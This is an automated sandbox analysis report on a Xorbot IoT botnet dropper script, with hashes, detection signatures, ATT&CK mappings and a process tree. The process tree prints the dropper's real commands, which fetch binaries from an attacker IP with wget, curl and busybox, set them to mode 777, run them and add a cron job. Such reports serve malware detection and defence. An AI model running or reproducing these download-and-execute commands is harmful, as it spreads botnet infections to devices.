xorbot | cd567b9f3db24e8d535579d9dc2205d9730046834635074acae74277fe2460de

Analysis

max time kernel
149s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04-12-2024 08:52

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General

Target

bins.sh
Size

10KB
MD5

ef3b5b8d03ad9b64895750001a9a9f81
SHA1

67905e0b7ab0f9251c5591a53ab0efbfbe4aba7e
SHA256

cd567b9f3db24e8d535579d9dc2205d9730046834635074acae74277fe2460de
SHA512

d3430b5354703e133e906aa7f15d186f6c5d79914f465decabb603b16269e41a7ee63647e3209ecd66c7fd619266a50b6de934825d1cbc9becc66c20398c529f
SSDEEP

96:LVc68OcK8INtzVZ7Tjl9P3/Mwyq+zVc68OcK8INuFS0AVhX7DE7PneP3/Mw0q+s+:LxzVZvjl9P3/MwyjVc2P3/Mw6

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-6.dat	family_xorbot
behavioral2/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2031) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
811	chmod
700	chmod
802	chmod

Executes dropped EXE 3 IoCs

Processes:

OXVxT5hUBFD9egbouowK0UOvExtshC3jGjYgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9

ioc	pid	Process
/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	701	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6	803	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
/tmp/a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9	813	a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9

Renames itself 1 IoCs

Processes:

OXVxT5hUBFD9egbouowK0UOvExtshC3jGj

pid	Process
702	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.G7pvlU	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

OXVxT5hUBFD9egbouowK0UOvExtshC3jGj

description	ioc	Process
File opened for reading	/proc/17/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/666/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/719/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/782/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/977/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1072/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/16/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/466/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/676/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/765/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1103/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/709/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1137/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/962/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1045/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1055/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/3/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/805/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/758/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/886/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1044/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1114/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/9/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/867/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/981/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1005/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1013/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/734/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/956/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1048/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/665/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1065/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/851/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1019/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1105/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/794/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/936/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1015/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1077/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/26/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/830/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1113/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/737/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/774/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/822/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/827/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/926/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/986/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1010/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1110/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/745/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1157/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/165/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/983/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1011/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1101/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1118/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/849/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1021/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1090/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/275/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/663/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/831/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/891/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6	busybox
File opened for modification	/tmp/a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9	busybox
File opened for modification	/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	wget
File opened for modification	/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	curl
File opened for modification	/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:666
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:672
- /usr/bin/wget
  wget http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Writes file to tmp directory
  PID:674
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:691
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod 777 OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  ./OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:701
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:703
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:704
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:705
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:706
- /bin/rm
  rm OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  PID:708
- /usr/bin/wget
  wget http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  PID:711
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  PID:712
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod 777 YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  ./YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  PID:806
- /usr/bin/wget
  wget http://216.126.231.240/bins/a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9
  2⤵
  PID:808
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9
  2⤵
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9
  ./a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9
  2⤵
  PID:815
- /usr/bin/wget
  wget http://216.126.231.240/bins/WIo0tYFGxOh6EgWfem2SY9ozxZjByBKqnf
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WIo0tYFGxOh6EgWfem2SY9ozxZjByBKqnf
  2⤵
  PID:830

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.G7pvlU

Filesize
210B

MD5
315fd87c44bdd4e0e86e988caeaaf603

SHA1
41196bcf5b91dc03c002752d9d39da182d733fa3

SHA256
e0f59b1dbce00ca5730878f5e66c7ca77270a6762e3b72df64419c1fe6c1d19d

SHA512
eb1b50db9b1bf8cb2827f34d3de2c6756ce0072a691bdfcefac5ea24cdb1f47becbd6c4b0def2a69b7b9909fe3ce59ec897249e6d67e6f986cd9ca03ca5f63b1

Download Submit